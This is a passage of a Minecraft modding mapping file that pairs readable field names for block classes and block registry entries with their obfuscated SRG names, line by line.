net/minecraft/block/Block/field_176231_q +FD: net/minecraft/block/Block/fullBlock net/minecraft/block/Block/field_149787_q +FD: net/minecraft/block/Block/lightOpacity net/minecraft/block/Block/field_149786_r +FD: net/minecraft/block/Block/translucent net/minecraft/block/Block/field_149785_s +FD: net/minecraft/block/Block/lightValue net/minecraft/block/Block/field_149784_t +FD: net/minecraft/block/Block/useNeighborBrightness net/minecraft/block/Block/field_149783_u +FD: net/minecraft/block/Block/blockHardness net/minecraft/block/Block/field_149782_v +FD: net/minecraft/block/Block/blockResistance net/minecraft/block/Block/field_149781_w +FD: net/minecraft/block/Block/enableStats net/minecraft/block/Block/field_149790_y +FD: net/minecraft/block/Block/needsRandomTick net/minecraft/block/Block/field_149789_z +FD: net/minecraft/init/Blocks/sandstone net/minecraft/init/Blocks/field_150322_A +FD: net/minecraft/init/Blocks/noteblock net/minecraft/init/Blocks/field_150323_B +FD: net/minecraft/init/Blocks/bed net/minecraft/init/Blocks/field_150324_C +FD: net/minecraft/init/Blocks/golden_rail net/minecraft/init/Blocks/field_150318_D +FD: net/minecraft/init/Blocks/detector_rail net/minecraft/init/Blocks/field_150319_E +FD: net/minecraft/init/Blocks/sticky_piston net/minecraft/init/Blocks/field_150320_F +FD: net/minecraft/init/Blocks/web net/minecraft/init/Blocks/field_150321_G +FD: net/minecraft/init/Blocks/tallgrass net/minecraft/init/Blocks/field_150329_H +FD: net/minecraft/init/Blocks/deadbush net/minecraft/init/Blocks/field_150330_I +FD: net/minecraft/init/Blocks/piston net/minecraft/init/Blocks/field_150331_J +FD: net/minecraft/init/Blocks/piston_head net/minecraft/init/Blocks/field_150332_K +FD: net/minecraft/init/Blocks/wool net/minecraft/init/Blocks/field_150325_L +FD: net/minecraft/init/Blocks/piston_extension net/minecraft/init/Blocks/field_180384_M +FD: net/minecraft/init/Blocks/yellow_flower net/minecraft/init/Blocks/field_150327_N +FD: net/minecraft/init/Blocks/red_flower net/minecraft/init/Blocks/field_150328_O +FD: net/minecraft/init/Blocks/brown_mushroom net/minecraft/init/Blocks/field_150338_P +FD: net/minecraft/init/Blocks/red_mushroom net/minecraft/init/Blocks/field_150337_Q +FD: net/minecraft/init/Blocks/gold_block net/minecraft/init/Blocks/field_150340_R +FD: net/minecraft/init/Blocks/iron_block net/minecraft/init/Blocks/field_150339_S +FD: net/minecraft/init/Blocks/double_stone_slab net/minecraft/init/Blocks/field_150334_T +FD: net/minecraft/init/Blocks/stone_slab net/minecraft/init/Blocks/field_150333_U +FD: net/minecraft/init/Blocks/brick_block net/minecraft/init/Blocks/field_150336_V +FD: net/minecraft/init/Blocks/tnt net/minecraft/init/Blocks/field_150335_W +FD: net/minecraft/init/Blocks/bookshelf net/minecraft/init/Blocks/field_150342_X +FD: net/minecraft/init/Blocks/mossy_cobblestone net/minecraft/init/Blocks/field_150341_Y +FD: net/minecraft/init/Blocks/obsidian net/minecraft/init/Blocks/field_150343_Z +FD: net/minecraft/init/Blocks/air net/minecraft/init/Blocks/field_150350_a +FD: net/minecraft/init/Blocks/iron_door net/minecraft/init/Blocks/field_150454_av +FD: net/minecraft/init/Blocks/wooden_pressure_plate net/minecraft/init/Blocks/field_150452_aw +FD: net/minecraft/init/Blocks/redstone_ore net/minecraft/init/Blocks/field_150450_ax +FD: net/minecraft/init/Blocks/lit_redstone_ore net/minecraft/init/Blocks/field_150439_ay +FD: net/minecraft/init/Blocks/unlit_redstone_torch net/minecraft/init/Blocks/field_150437_az +FD: net/minecraft/init/Blocks/redstone_torch net/minecraft/init/Blocks/field_150429_aA +FD: net/minecraft/init/Blocks/stone_button net/minecraft/init/Blocks/field_150430_aB +FD: net/minecraft/init/Blocks/snow_layer net/minecraft/init/Blocks/field_150431_aC +FD: net/minecraft/init/Blocks/ice net/minecraft/init/Blocks/field_150432_aD +FD: net/minecraft/init/Blocks/snow net/minecraft/init/Blocks/field_150433_aE +FD: net/minecraft/init/Blocks/cactus net/minecraft/init/Blocks/field_150434_aF +FD: net/minecraft/init/Blocks/clay net/minecraft/init/Blocks/field_150435_aG +FD: net/minecraft/init/Blocks/reeds net/minecraft/init/Blocks/field_150436_aH +FD: net/minecraft/init/Blocks/jukebox net/minecraft/init/Blocks/field_150421_aI +FD: net/minecraft/init/Blocks/oak_fence net/minecraft/init/Blocks/field_180407_aO +FD: net/minecraft/init/Blocks/spruce_fence net/minecraft/init/Blocks/field_180408_aP +FD: net/minecraft/init/Blocks/birch_fence net/minecraft/init/Blocks/field_180404_aQ +FD: net/minecraft/init/Blocks/jungle_fence net/minecraft/init/Blocks/field_180403_aR +FD: net/minecraft/init/Blocks/dark_oak_fence net/minecraft/init/Blocks/field_180406_aS +FD: net/minecraft/init/Blocks/acacia_fence net/minecraft/init/Blocks/field_180405_aT +FD: net/minecraft/init/Blocks/pumpkin net/minecraft/init/Blocks/field_150423_aK +FD: net/minecraft/init/Blocks/netherrack net/minecraft/init/Blocks/field_150424_aL +FD: net/minecraft/init/Blocks/soul_sand net/minecraft/init/Blocks/field_150425_aM +FD: net/minecraft/init/Blocks/glowstone net/minecraft/init/Blocks/field_150426_aN +FD: net/minecraft/init/Blocks/portal net/minecraft/init/Blocks/field_150427_aO +FD: net/minecraft/init/Blocks/lit_pumpkin net/minecraft/init/Blocks/field_150428_aP +FD: net/minecraft/init/Blocks/torch net/minecraft/init/Blocks/field_150478_aa +FD: net/minecraft/init/Blocks/fire net/minecraft/init/Blocks/field_150480_ab +FD: net/minecraft/init/Blocks/mob_spawner net/minecraft/init/Blocks/field_150474_ac +FD: net/minecraft/init/Blocks/oak_stairs net/minecraft/init/Blocks/field_150476_ad +FD: net/minecraft/init/Blocks/chest net/minecraft/init/Blocks/field_150486_ae +FD: net/minecraft/init/Blocks/redstone_wire net/minecraft/init/Blocks/field_150488_af +FD: net/minecraft/init/Blocks/diamond_ore net/minecraft/init/Blocks/field_150482_ag +FD: net/minecraft/init/Blocks/diamond_block net/minecraft/init/Blocks/field_150484_ah +FD: net/minecraft/init/Blocks/crafting_table net/minecraft/init/Blocks/field_150462_ai +FD: net/minecraft/init/Blocks/wheat net/minecraft/init/Blocks/field_150464_aj +FD: net/minecraft/init/Blocks/farmland net/minecraft/init/Blocks/field_150458_ak +FD: net/minecraft/init/Blocks/furnace net/minecraft/init/Blocks/field_150460_al +FD: net/minecraft/init/Blocks/lit_furnace net/minecraft/init/Blocks/field_150470_am +FD: net/minecraft/init/Blocks/standing_sign net/minecraft/init/Blocks/field_150472_an +FD: net/minecraft/init/Blocks/oak_door net/minecraft/init/Blocks/field_180413_ao +FD: net/minecraft/init/Blocks/spruce_door net/minecraft/init/Blocks/field_180414_ap +FD: net/minecraft/init/Blocks/birch_door net/minecraft/init/Blocks/field_180412_aq +FD: net/minecraft/init/Blocks/jungle_door net/minecraft/init/Blocks/field_180411_ar +FD: net/minecraft/init/Blocks/acacia_door net/minecraft/init/Blocks/field_180410_as +FD: net/minecraft/init/Blocks/dark_oak_door net/minecraft/init/Blocks/field_180409_at +FD: net/minecraft/init/Blocks/ladder net/minecraft/init/Blocks/field_150468_ap +FD: net/minecraft/init/Blocks/rail net/minecraft/init/Blocks/field_150448_aq +FD: net/minecraft/init/Blocks/stone_stairs net/minecraft/init/Blocks/field_150446_ar +FD: net/minecraft/init/Blocks/wall_sign net/minecraft/init/Blocks/field_150444_as +FD: net/minecraft/init/Blocks/lever net/minecraft/init/Blocks/field_150442_at +FD: net/minecraft/init/Blocks/stone_pressure_plate net/minecraft/init/Blocks/field_150456_au +FD: net/minecraft/init/Blocks/stone net/minecraft/init/Blocks/field_150348_b +FD: net/minecraft/init/Blocks/nether_brick_stairs net/minecraft/init/Blocks/field_150387_bl +FD: net/minecraft/init/Blocks/nether_wart net/minecraft/init/Blocks/field_150388_bm +FD: net/minecraft/init/Blocks/enchanting_table net/minecraft/init/Blocks/field_150381_bn +FD: net/minecraft/init/Blocks/brewing_stand net/minecraft/init/Blocks/field_150382_bo +FD: net/minecraft/init/Blocks/cauldron net/minecraft/init/Blocks/field_150383_bp +FD: net/minecraft/init/Blocks/end_portal net/minecraft/init/Blocks/field_150384_bq +FD: net/minecraft/init/Blocks/end_portal_frame net/minecraft/init/Blocks/field_150378_br +FD: net/minecraft/init/Blocks/end_stone net/minecraft/init/Blocks/field_150377_bs +FD: net/minecraft/init/Blocks/dragon_egg net/minecraft/init/Blocks/field_150380_bt +FD: net/minecraft/init/Blocks/redstone_lamp net/minecraft/init/Blocks/field_150379_bu +FD: net/minecraft/init/Blocks/lit_redstone_lamp net/minecraft/init/Blocks/field_150374_bv +FD: net/minecraft/init/Blocks/double_wooden_slab net/minecraft/init/Blocks/field_150373_bw +FD: net/minecraft/init/Blocks/wooden_slab net/minecraft/init/Blocks/field_150376_bx +FD: net/minecraft/init/Blocks/cocoa net/minecraft/init/Blocks/field_150375_by +FD: net/minecraft/init/Blocks/sandstone_stairs net/minecraft/init/Blocks/field_150372_bz +FD: net/minecraft/init/Blocks/emerald_ore net/minecraft/init/Blocks/field_150412_bA +FD: net/minecraft/init/Blocks/ender_chest net/minecraft/init/Blocks/field_150477_bB +FD: net/minecraft/init/Blocks/tripwire_hook net/minecraft/init/Blocks/field_150479_bC +FD: net/minecraft/init/Blocks/tripwire net/minecraft/init/Blocks/field_150473_bD +FD: net/minecraft/init/Blocks/emerald_block net/minecraft/init/Blocks/field_150475_bE +FD: net/minecraft/init/Blocks/spruce_stairs net/minecraft/init/Blocks/field_150485_bF +FD: net/minecraft/init/Blocks/birch_stairs net/minecraft/init/Blocks/field_150487_bG +FD: net/minecraft/init/Blocks/jungle_stairs net/minecraft/init/Blocks/field_150481_bH +FD: net/minecraft/init/Blocks/command_block net/minecraft/init/Blocks/field_150483_bI +FD: net/minecraft/init/Blocks/beacon net/minecraft/init/Blocks/field_150461_bJ +FD: net/minecraft/init/Blocks/cobblestone_wall net/minecraft/init/Blocks/field_150463_bK +FD: net/minecraft/init/Blocks/cake net/minecraft/init/Blocks/field_150414_aQ +FD: net/minecraft/init/Blocks/unpowered_repeater net/minecraft/init/Blocks/field_150413_aR +FD: net/minecraft/init/Blocks/powered_repeater net/minecraft/init/Blocks/field_150416_aS +FD: net/minecraft/init/Blocks/trapdoor net/minecraft/init/Blocks/field_150415_aT +FD: net/minecraft/init/Blocks/monster_egg net/minecraft/init/Blocks/field_150418_aU +FD: net/minecraft/init/Blocks/stonebrick net/minecraft/init/Blocks/field_150417_aV +FD: net/minecraft/init/Blocks/brown_mushroom_block net/minecraft/init/Blocks/field_150420_aW +FD: net/minecraft/init/Blocks/red_mushroom_block net/minecraft/init/Blocks/field_150419_aX +FD: net/minecraft/init/Blocks/iron_bars net/minecraft/init/Blocks/field_150411_aY +FD: net/minecraft/init/Blocks/glass_pane net/minecraft/init/Blocks/field_150410_aZ +FD: net/minecraft/init/Blocks/melon_block net/minecraft/init/Blocks/field_150440_ba +FD: net/minecraft/init/Blocks/pumpkin_stem net/minecraft/init/Blocks/field_150393_bb +FD: net/minecraft/init/Blocks/melon_stem net/minecraft/init/Blocks/field_150394_bc +FD: net/minecraft/init/Blocks/vine net/minecraft/init/Blocks/field_150395_bd +FD: net/minecraft/init/Blocks/oak_fence_gate net/minecraft/init/Blocks/field_180390_bo +FD: net/minecraft/init/Blocks/spruce_fence_gate net/minecraft/init/Blocks/field_180391_bp +FD: net/minecraft/init/Blocks/birch_fence_gate net/minecraft/init/Blocks/field_180392_bq +FD: net/minecraft/init/Blocks/jungle_fence_gate net/minecraft/init/Blocks/field_180386_br +FD: net/minecraft/init/Blocks/dark_oak_fence_gate net/minecraft/init/Blocks/field_180385_bs +FD: net/minecraft/init/Blocks/acacia_fence_gate net/minecraft/init/Blocks/field_180387_bt +FD: net/minecraft/init/Blocks/brick_stairs net/minecraft/init/Blocks/field_150389_bf +FD: net/minecraft/init/Blocks/stone_brick_stairs net/minecraft/init/Blocks/field_150390_bg +FD: net/minecraft/init/Blocks/mycelium net/minecraft/init/Blocks/field_150391_bh +FD: net/minecraft/init/Blocks/waterlily net/minecraft/init/Blocks/field_150392_bi +FD: net/minecraft/init/Blocks/nether_brick net/minecraft/init/Blocks/field_150385_bj +FD: net/minecraft/init/Blocks/nether_brick_fence net/minecraft/init/Blocks/field_150386_bk +FD: net/minecraft/init/Blocks/grass net/minecraft/init/Blocks/field_150349_c +FD: net/minecraft/init/Blocks/coal_block net/minecraft/init/Blocks/field_150402_ci +FD: net/minecraft/init/Blocks/packed_ice net/minecraft/init/Blocks/field_150403_cj +FD: net/minecraft/init/Blocks/acacia_stairs net/minecraft/init/Blocks/field_150400_ck +FD: net/minecraft/init/Blocks/dark_oak_stairs net/minecraft/init/Blocks/field_150401_cl +FD: net/minecraft/init/Blocks/slime_block net/minecraft/init/Blocks/field_180399_cE +FD: net/minecraft/init/Blocks/double_plant net/minecraft/init/Blocks/field_150398_cm +FD: net/minecraft/init/Blocks/stained_glass net/minecraft/init/Blocks/field_150399_cn +FD: net/minecraft/init/Blocks/stained_glass_pane net/minecraft/init/Blocks/field_150397_co +FD: net/minecraft/init/Blocks/prismarine net/minecraft/init/Blocks/field_180397_cI +FD: net/minecraft/init/Blocks/sea_lantern net/minecraft/init/Blocks/field_180398_cJ +FD: net/minecraft/init/Blocks/standing_banner net/minecraft/init/Blocks/field_180393_cK +FD: net/minecraft/init/Blocks/wall_banner net/minecraft/init/Blocks/field_180394_cL +FD: net/minecraft/init/Blocks/red_sandstone net/minecraft/init/Blocks/field_180395_cM +FD: net/minecraft/init/Blocks/red_sandstone_stairs net/minecraft/init/Blocks/field_180396_cN +FD: net/minecraft/init/Blocks/double_stone_slab2 net/minecraft/init/Blocks/field_180388_cO +FD: net/minecraft/init/Blocks/stone_slab2 net/minecraft/init/Blocks/field_180389_cP +FD: net/minecraft/init/Blocks/flower_pot net/minecraft/init/Blocks/field_150457_bL +FD: net/minecraft/init/Blocks/carrots net/minecraft/init/Blocks/field_150459_bM +FD: net/minecraft/init/Blocks/potatoes net/minecraft/init/Blocks/field_150469_bN +FD: net/minecraft/init/Blocks/wooden_button net/minecraft/init/Blocks/field_150471_bO +FD: net/minecraft/init/Blocks/skull net/minecraft/init/Blocks/field_150465_bP +FD: net/minecraft/init/Blocks/anvil net/minecraft/init/Blocks/field_150467_bQ +FD: net/minecraft/init/Blocks/trapped_chest net/minecraft/init/Blocks/field_150447_bR +FD: net/minecraft/init/Blocks/light_weighted_pressure_plate net/minecraft/init/Blocks/field_150445_bS +FD: net/minecraft/init/Blocks/heavy_weighted_pressure_plate net/minecraft/init/Blocks/field_150443_bT +FD: net/minecraft/init/Blocks/unpowered_comparator net/minecraft/init/Blocks/field_150441_bU +FD: net/minecraft/init/Blocks/powered_comparator net/minecraft/init/Blocks/field_150455_bV +FD: net/minecraft/init/Blocks/daylight_detector net/minecraft/init/Blocks/field_150453_bW +FD: net/minecraft/init/Blocks/daylight_detector_inverted net/minecraft/init/Blocks/field_180402_cm +FD: net/minecraft/init/Blocks/redstone_block net/minecraft/init/Blocks/field_150451_bX +FD: net/minecraft/init/Blocks/quartz_ore net/minecraft/init/Blocks/field_150449_bY +FD: net/minecraft/init/Blocks/hopper net/minecraft/init/Blocks/field_150438_bZ +FD: net/minecraft/init/Blocks/quartz_block net/minecraft/init/Blocks/field_150371_ca +FD: net/minecraft/init/Blocks/quartz_stairs net/minecraft/init/Blocks/field_150370_cb +FD: net/minecraft/init/Blocks/activator_rail net/minecraft/init/Blocks/field_150408_cc +FD: net/minecraft/init/Blocks/dropper net/minecraft/init/Blocks/field_150409_cd +FD: net/minecraft/init/Blocks/stained_hardened_clay net/minecraft/init/Blocks/field_150406_ce +FD: net/minecraft/init/Blocks/barrier net/minecraft/init/Blocks/field_180401_cv +FD: net/minecraft/init/Blocks/iron_trapdoor net/minecraft/init/Blocks/field_180400_cw +FD: net/minecraft/init/Blocks/hay_block net/minecraft/init/Blocks/field_150407_cf +FD: net/minecraft/init/Blocks/carpet net/minecraft/init/Blocks/field_150404_cg +FD: net/minecraft/init/Blocks/hardened_clay net/minecraft/init/Blocks/field_150405_ch +FD: net/minecraft/init/Blocks/dirt net/minecraft/init/Blocks/field_150346_d +FD: net/minecraft/init/Blocks/cobblestone net/minecraft/init/Blocks/field_150347_e +FD: net/minecraft/init/Blocks/planks net/minecraft/init/Blocks/field_150344_f +FD: net/minecraft/init/Blocks/sapling net/minecraft/init/Blocks/field_150345_g +FD: net/minecraft/init/Blocks/bedrock net/minecraft/init/Blocks/field_150357_h +FD: net/minecraft/init/Blocks/flowing_water net/minecraft/init/Blocks/field_150358_i +FD: net/minecraft/init/Blocks/water net/minecraft/init/Blocks/field_150355_j +FD: net/minecraft/init/Blocks/flowing_lava net/minecraft/init/Blocks/field_150356_k +FD: net/minecraft/init/Blocks/lava net/minecraft/init/Blocks/field_150353_l +FD: net/minecraft/init/Blocks/sand net/minecraft/init/Blocks/field_150354_m +FD: net/minecraft/init/Blocks/gravel net/minecraft/init/Blocks/field_150351_n +FD: net/minecraft/init/Blocks/gold_ore net/minecraft/init/Blocks/field_150352_o +FD: net/minecraft/init/Blocks/iron_ore net/minecraft/init/Blocks/field_150366_p +FD: net/minecraft/init/Blocks/coal_ore net/minecraft/init/Blocks/field_150365_q +FD: net/minecraft/init/Blocks/log net/minecraft/init/Blocks/field_150364_r +FD: net/minecraft/init/Blocks/log2 net/minecraft/init/Blocks/field_150363_s +FD: net/minecraft/init/Blocks/leaves net/minecraft/init/Blocks/field_150362_t +FD: net/minecraft/init/Blocks/leaves2 net/minecraft/init/Blocks/field_150361_u +FD: net/minecraft/init/Blocks/sponge net/minecraft/init/Blocks/field_150360_v +FD: net/minecraft/init/Blocks/glass net/minecraft/init/Blocks/field_150359_w +FD: net/minecraft/init/Blocks/lapis_ore net/minecraft/init/Blocks/field_150369_x +FD: net/minecraft/init/Blocks/lapis_block net/minecraft/init/Blocks/field_150368_y +FD: net/minecraft/init/Blocks/dispenser net/minecraft/init/Blocks/field_150367_z +FD: net/minecraft/block/BlockBrewingStand/HAS_BOTTLE net/minecraft/block/BlockBrewingStand/field_176451_a +FD: net/minecraft/block/BlockButton$1/field_180420_a net/minecraft/block/BlockButton$1/field_180420_a +FD: net/minecraft/block/BlockButton/wooden net/minecraft/block/BlockButton/field_150047_a +FD: net/minecraft/block/BlockButton/FACING net/minecraft/block/BlockButton/field_176585_a +FD: net/minecraft/block/BlockButton/POWERED net/minecraft/block/BlockButton/field_176584_b +FD: net/minecraft/block/BlockCactus/AGE net/minecraft/block/BlockCactus/field_176587_a +FD: net/minecraft/block/BlockCake/BITES net/minecraft/block/BlockCake/field_176589_a +FD: net/minecraft/block/BlockCauldron/LEVEL net/minecraft/block/BlockCauldron/field_176591_a +FD: net/minecraft/block/BlockChest/FACING net/minecraft/block/BlockChest/field_176459_a +FD: net/minecraft/block/BlockChest/chestType net/minecraft/block/BlockChest/field_149956_a +FD: net/minecraft/block/BlockCocoa$1/field_180415_a net/minecraft/block/BlockCocoa$1/field_180415_a +FD: net/minecraft/block/BlockCocoa/AGE net/minecraft/block/BlockCocoa/field_176501_a +FD: net/minecraft/block/BlockColored/COLOR net/minecraft/block/BlockColored/field_176581_a +FD: net/minecraft/block/BlockCommandBlock/TRIGGERED net/minecraft/block/BlockCommandBlock/field_176452_a +FD: net/minecraft/block/BlockRedstoneComparator$1/field_180418_a net/minecraft/block/BlockRedstoneComparator$1/field_180418_a +FD: net/minecraft/block/BlockRedstoneComparator$1/field_180417_b net/minecraft/block/BlockRedstoneComparator$1/field_180417_b +FD: net/minecraft/block/BlockRedstoneComparator$Mode/COMPARE net/minecraft/block/BlockRedstoneComparator$Mode/COMPARE +FD: net/minecraft/block/BlockRedstoneComparator$Mode/SUBTRACT net/minecraft/block/BlockRedstoneComparator$Mode/SUBTRACT +FD: net/minecraft/block/BlockRedstoneComparator$Mode/name net/minecraft/block/BlockRedstoneComparator$Mode/field_177041_c +FD: net/minecraft/block/BlockRedstoneComparator$Mode/$VALUES net/minecraft/block/BlockRedstoneComparator$Mode/$VALUES +FD: net/minecraft/block/BlockRedstoneComparator/POWERED net/minecraft/block/BlockRedstoneComparator/field_176464_a +FD: net/minecraft/block/BlockRedstoneComparator/MODE net/minecraft/block/BlockRedstoneComparator/field_176463_b +FD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/world net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/field_175128_a +FD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/position net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/field_175127_b +FD: net/minecraft/block/BlockCrops/AGE net/minecraft/block/BlockCrops/field_176488_a +FD: net/minecraft/block/BlockDaylightDetector/POWER net/minecraft/block/BlockDaylightDetector/field_176436_a +FD: net/minecraft/block/BlockDaylightDetector/inverted net/minecraft/block/BlockDaylightDetector/field_176435_b +FD: net/minecraft/block/BlockRailDetector/POWERED net/minecraft/block/BlockRailDetector/field_176574_M +FD: net/minecraft/block/BlockRailDetector/SHAPE net/minecraft/block/BlockRailDetector/field_176573_b +FD: net/minecraft/block/BlockRedstoneDiode/isRepeaterPowered net/minecraft/block/BlockRedstoneDiode/field_149914_a +FD: net/minecraft/block/BlockDirectional/FACING net/minecraft/block/BlockDirectional/field_176387_N +FD: net/minecraft/block/BlockDirt$DirtType/DIRT net/minecraft/block/BlockDirt$DirtType/DIRT +FD: net/minecraft/block/BlockDirt$DirtType/COARSE_DIRT net/minecraft/block/BlockDirt$DirtType/COARSE_DIRT +FD: net/minecraft/block/BlockDirt$DirtType/PODZOL net/minecraft/block/BlockDirt$DirtType/PODZOL +FD: net/minecraft/block/BlockDirt$DirtType/METADATA_LOOKUP net/minecraft/block/BlockDirt$DirtType/field_176930_d +FD: net/minecraft/block/BlockDirt$DirtType/metadata net/minecraft/block/BlockDirt$DirtType/field_176931_e +FD: net/minecraft/block/BlockDirt$DirtType/name net/minecraft/block/BlockDirt$DirtType/field_176928_f +FD: net/minecraft/block/BlockDirt$DirtType/unlocalizedName net/minecraft/block/BlockDirt$DirtType/field_176929_g +FD: net/minecraft/block/BlockDirt$DirtType/field_181067_h net/minecraft/block/BlockDirt$DirtType/field_181067_h +FD: net/minecraft/block/BlockDirt$DirtType/$VALUES net/minecraft/block/BlockDirt$DirtType/$VALUES +FD: net/minecraft/block/BlockDirt/VARIANT net/minecraft/block/BlockDirt/field_176386_a +FD: net/minecraft/block/BlockDirt/SNOWY net/minecraft/block/BlockDirt/field_176385_b +FD: net/minecraft/block/BlockDispenser/dispenseBehaviorRegistry net/minecraft/block/BlockDispenser/field_149943_a +FD: net/minecraft/block/BlockDispenser/rand net/minecraft/block/BlockDispenser/field_149942_b +FD: net/minecraft/block/BlockDispenser/FACING net/minecraft/block/BlockDispenser/field_176441_a +FD: net/minecraft/block/BlockDispenser/TRIGGERED net/minecraft/block/BlockDispenser/field_176440_b +FD: net/minecraft/block/BlockDoor$EnumDoorHalf/UPPER net/minecraft/block/BlockDoor$EnumDoorHalf/UPPER +FD: net/minecraft/block/BlockDoor$EnumDoorHalf/LOWER net/minecraft/block/BlockDoor$EnumDoorHalf/LOWER +FD: net/minecraft/block/BlockDoor$EnumDoorHalf/$VALUES net/minecraft/block/BlockDoor$EnumDoorHalf/$VALUES +FD: net/minecraft/block/BlockDoor$EnumHingePosition/LEFT net/minecraft/block/BlockDoor$EnumHingePosition/LEFT +FD: net/minecraft/block/BlockDoor$EnumHingePosition/RIGHT net/minecraft/block/BlockDoor$EnumHingePosition/RIGHT +FD: net/minecraft/block/BlockDoor$EnumHingePosition/$VALUES net/minecraft/block/BlockDoor$EnumHingePosition/$VALUES +FD: net/minecraft/block/BlockDoor/HINGE net/minecraft/block/BlockDoor/field_176521_M +FD: net/minecraft/block/BlockDoor/POWERED net/minecraft/block/BlockDoor/field_176522_N +FD: net/minecraft/block/BlockDoor/HALF net/minecraft/block/BlockDoor/field_176523_O +FD: net/minecraft/block/BlockDoor/FACING net/minecraft/block/BlockDoor/field_176520_a +FD: net/minecraft/block/BlockDoor/OPEN net/minecraft/block/BlockDoor/field_176519_b +FD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/UPPER net/minecraft/block/BlockDoublePlant$EnumBlockHalf/UPPER +FD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/LOWER net/minecraft/block/BlockDoublePlant$EnumBlockHalf/LOWER +FD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/$VALUES net/minecraft/block/BlockDoublePlant$EnumBlockHalf/$VALUES +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/SUNFLOWER net/minecraft/block/BlockDoublePlant$EnumPlantType/SUNFLOWER +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/SYRINGA net/minecraft/block/BlockDoublePlant$EnumPlantType/SYRINGA +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/GRASS net/minecraft/block/BlockDoublePlant$EnumPlantType/GRASS +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/FERN net/minecraft/block/BlockDoublePlant$EnumPlantType/FERN +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/ROSE net/minecraft/block/BlockDoublePlant$EnumPlantType/ROSE +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/PAEONIA net/minecraft/block/BlockDoublePlant$EnumPlantType/PAEONIA +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/META_LOOKUP net/minecraft/block/BlockDoublePlant$EnumPlantType/field_176941_g +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/meta net/minecraft/block/BlockDoublePlant$EnumPlantType/field_176949_h +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/name net/minecraft/block/BlockDoublePlant$EnumPlantType/field_176950_i +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/unlocalizedName net/minecraft/block/BlockDoublePlant$EnumPlantType/field_176947_j +FD: net/minecraft/block/BlockDoublePlant$EnumPlantType/$VALUES net/minecraft/block/BlockDoublePlant$EnumPlantType/$VALUES +FD: net/minecraft/block/BlockDoublePlant/FACING net/minecraft/block/BlockDoublePlant/field_181084_N +FD: net/minecraft/block/BlockDoublePlant/VARIANT net/minecraft/block/BlockDoublePlant/field_176493_a +FD: net/minecraft/block/BlockDoublePlant/HALF net/minecraft/block/BlockDoublePlant/field_176492_b +FD: net/minecraft/block/BlockDropper/dropBehavior net/minecraft/block/BlockDropper/field_149947_P +FD: net/minecraft/block/BlockDynamicLiquid/adjacentSourceBlocks net/minecraft/block/BlockDynamicLiquid/field_149815_a +FD: net/minecraft/block/BlockEndPortalFrame/FACING net/minecraft/block/BlockEndPortalFrame/field_176508_a +FD: net/minecraft/block/BlockEndPortalFrame/EYE net/minecraft/block/BlockEndPortalFrame/field_176507_b +FD: net/minecraft/block/BlockEnderChest/FACING net/minecraft/block/BlockEnderChest/field_176437_a +FD: net/minecraft/block/BlockFalling/fallInstantly net/minecraft/block/BlockFalling/field_149832_M +FD: net/minecraft/block/BlockFarmland$1/field_181625_a net/minecraft/block/BlockFarmland$1/field_181625_a +FD: net/minecraft/block/BlockFarmland/MOISTURE net/minecraft/block/BlockFarmland/field_176531_a +FD: net/minecraft/block/BlockFence/SOUTH net/minecraft/block/BlockFence/field_176527_M +FD: net/minecraft/block/BlockFence/WEST net/minecraft/block/BlockFence/field_176528_N +FD: net/minecraft/block/BlockFence/NORTH net/minecraft/block/BlockFence/field_176526_a +FD: net/minecraft/block/BlockFence/EAST net/minecraft/block/BlockFence/field_176525_b +FD: net/minecraft/block/BlockFenceGate/IN_WALL net/minecraft/block/BlockFenceGate/field_176467_M +FD: net/minecraft/block/BlockFenceGate/OPEN net/minecraft/block/BlockFenceGate/field_176466_a +FD: net/minecraft/block/BlockFenceGate/POWERED net/minecraft/block/BlockFenceGate/field_176465_b +FD: net/minecraft/block/BlockFire/ALT net/minecraft/block/BlockFire/field_176544_M +FD: net/minecraft/block/BlockFire/NORTH net/minecraft/block/BlockFire/field_176545_N +FD: net/minecraft/block/BlockFire/EAST net/minecraft/block/BlockFire/field_176546_O +FD: net/minecraft/block/BlockFire/SOUTH net/minecraft/block/BlockFire/field_176541_P +FD: net/minecraft/block/BlockFire/WEST net/minecraft/block/BlockFire/field_176539_Q +FD: net/minecraft/block/BlockFire/UPPER net/minecraft/block/BlockFire/field_176542_R +FD: net/minecraft/block/BlockFire/encouragements net/minecraft/block/BlockFire/field_149849_a +FD: net/minecraft/block/BlockFire/flammabilities net/minecraft/block/BlockFire/field_149848_b +FD: net/minecraft/block/BlockFire/AGE net/minecraft/block/BlockFire/field_176543_a +FD: net/minecraft/block/BlockFire/FLIP net/minecraft/block/BlockFire/field_176540_b +FD: net/minecraft/block/BlockFlower$1/field_180355_a net/minecraft/block/BlockFlower$1/field_180355_a +FD: net/minecraft/block/BlockFlower$EnumFlowerType$1/field_180351_a net/minecraft/block/BlockFlower$EnumFlowerType$1/field_180351_a +FD: net/minecraft/block/BlockFlower$EnumFlowerType/DANDELION net/minecraft/block/BlockFlower$EnumFlowerType/DANDELION +FD: net/minecraft/block/BlockFlower$EnumFlowerType/POPPY net/minecraft/block/BlockFlower$EnumFlowerType/POPPY +FD: net/minecraft/block/BlockFlower$EnumFlowerType/BLUE_ORCHID net/minecraft/block/BlockFlower$EnumFlowerType/BLUE_ORCHID +FD: net/minecraft/block/BlockFlower$EnumFlowerType/ALLIUM net/minecraft/block/BlockFlower$EnumFlowerType/ALLIUM +FD: net/minecraft/block/BlockFlower$EnumFlowerType/HOUSTONIA net/minecraft/block/BlockFlower$EnumFlowerType/HOUSTONIA +FD: net/minecraft/block/BlockFlower$EnumFlowerType/RED_TULIP net/minecraft/block/BlockFlower$EnumFlowerType/RED_TULIP +FD: 